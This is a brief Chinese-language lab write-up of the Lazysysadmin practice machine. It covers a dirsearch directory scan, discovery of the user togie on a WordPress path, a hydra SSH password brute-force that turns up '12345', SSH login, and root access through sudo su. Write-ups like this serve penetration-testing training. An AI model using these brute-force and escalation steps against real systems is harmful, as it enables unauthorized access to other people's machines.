Lazysysadmin

一、主机发现

二、信息收集

1.目录扫描

dirsearch -u 192.168.1.15

2.拼接/wordpress/，目测弱口令，用户togie

三、信息利用

1.九头蛇爆破密码，字典是1.txt，自己整个

hydra -l togie -P 1.txt ssh://192.168.1.15

爆出密码12345

2.ssh进行连接

ssh togie@192.168.1.15
//密码12345

连接成功

四、权限提升

1.sudo -l 查看权限，全都可以

2.直接sudo su，提权成功